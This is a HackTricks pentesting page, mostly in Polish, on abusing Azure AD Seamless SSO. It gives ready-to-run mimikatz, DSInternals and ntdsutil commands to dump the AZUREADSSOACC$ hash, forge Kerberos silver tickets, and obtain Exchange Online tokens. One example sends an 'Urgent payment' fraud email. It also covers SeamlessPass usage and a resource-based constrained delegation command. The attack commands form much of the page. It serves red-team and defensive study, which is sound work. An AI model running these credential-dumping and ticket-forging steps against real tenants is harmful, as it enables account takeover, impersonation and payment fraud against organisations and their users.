Az - Seamless SSO

Support HackTricks

Basic Information

From the docs: Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) automatycznie loguje użytkowników, gdy są na swoich urządzeniach firmowych podłączonych do twojej sieci firmowej. Po włączeniu, użytkownicy nie muszą wpisywać swoich haseł, aby zalogować się do Azure AD, a zazwyczaj nawet wpisywać swoich nazw użytkowników. Ta funkcja zapewnia użytkownikom łatwy dostęp do aplikacji w chmurze bez potrzeby posiadania dodatkowych komponentów lokalnych.

Zasadniczo Azure AD Seamless SSO loguje użytkowników gdy są na komputerze dołączonym do lokalnej domeny.

Jest wspierane zarówno przez PHS (Password Hash Sync) jak i PTA (Pass-through Authentication).

Desktop SSO używa Kerberos do uwierzytelniania. Po skonfigurowaniu, Azure AD Connect tworzy konto komputera o nazwie AZUREADSSOACC$ w lokalnym AD. Hasło konta AZUREADSSOACC$ jest wysyłane w postaci niezaszyfrowanej do Azure AD podczas konfiguracji.

Bilety Kerberosszyfrowane przy użyciu NTHash (MD4) hasła, a Azure AD używa wysłanego hasła do odszyfrowania biletów.

Azure AD udostępnia punkt końcowy (https://autologon.microsoftazuread-sso.com), który akceptuje bilety Kerberos. Przeglądarka maszyny dołączonej do domeny przesyła bilety do tego punktu końcowego w celu SSO.

On-prem -> cloud

Hasło użytkownika AZUREADSSOACC$ nigdy się nie zmienia. Dlatego administrator domeny mógłby skompromitować hash tego konta, a następnie użyć go do tworzenia srebrnych biletów do połączenia się z Azure z dowolnym użytkownikiem lokalnym zsynchronizowanym:

# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit

# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local

# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos

Z hashem możesz teraz generować srebrne bilety:

# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit

# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."

Aby wykorzystać srebrny bilet, należy wykonać następujące kroki:

  1. Uruchom przeglądarkę: Należy uruchomić Mozilla Firefox.

  2. Skonfiguruj przeglądarkę:

  1. Uzyskaj dostęp do aplikacji internetowej:

  • Odwiedź aplikację internetową, która jest zintegrowana z domeną AAD organizacji. Typowym przykładem jest Office 365.

  1. Proces uwierzytelniania:

  • Na ekranie logowania należy wpisać nazwę użytkownika, pozostawiając pole hasła puste.

  • Aby kontynuować, naciśnij TAB lub ENTER.

To nie omija MFA, jeśli jest włączone

Opcja 2 bez dcsync - SeamlessPass

Możliwe jest również przeprowadzenie tego ataku bez ataku dcsync, aby być bardziej dyskretnym, jak wyjaśniono w tym wpisie na blogu. W tym celu potrzebujesz tylko jednego z poniższych:

  • TGT skompromitowanego użytkownika: Nawet jeśli go nie masz, ale użytkownik został skompromitowany, możesz go uzyskać, używając sztuczki z delegowaniem fałszywego TGT, zaimplementowanej w wielu narzędziach, takich jak Kekeo i Rubeus.

  • Złoty bilet: Jeśli masz klucz KRBTGT, możesz stworzyć TGT, którego potrzebujesz dla zaatakowanego użytkownika.

  • Hash NTLM lub klucz AES skompromitowanego użytkownika: SeamlessPass skomunikuje się z kontrolerem domeny z tymi informacjami, aby wygenerować TGT.

  • Hash NTLM lub klucz AES konta AZUREADSSOACC$: Z tymi informacjami i identyfikatorem zabezpieczeń (SID) użytkownika, którego atakujesz, możliwe jest stworzenie biletu usługi i uwierzytelnienie się w chmurze (jak wykonano w poprzedniej metodzie).

Na koniec, z TGT możliwe jest użycie narzędzia SeamlessPass z:

seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>

Dalsze informacje na temat konfiguracji Firefoksa do pracy z seamless SSO można znaleźć w tym wpisie na blogu.

Tworzenie biletów Kerberos dla użytkowników tylko w chmurze

Jeśli administratorzy Active Directory mają dostęp do Azure AD Connect, mogą ustawić SID dla dowolnego użytkownika chmurowego. W ten sposób bilety Kerberos mogą być tworzone również dla użytkowników tylko w chmurze. Jedynym wymaganiem jest, aby SID był odpowiednim SID.

Zmiana SID użytkowników administracyjnych tylko w chmurze jest teraz zablokowana przez Microsoft. Aby uzyskać więcej informacji, sprawdź https://aadinternals.com/post/on-prem_admin/

On-prem -> Chmura za pomocą ograniczonej delegacji opartej na zasobach

Każdy, kto może zarządzać kontami komputerów (AZUREADSSOACC$) w kontenerze lub OU, w którym znajduje się to konto, może skonfigurować ograniczoną delegację opartą na zasobach dla tego konta i uzyskać do niego dostęp.

python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$

References

Wsparcie dla HackTricks

Last updated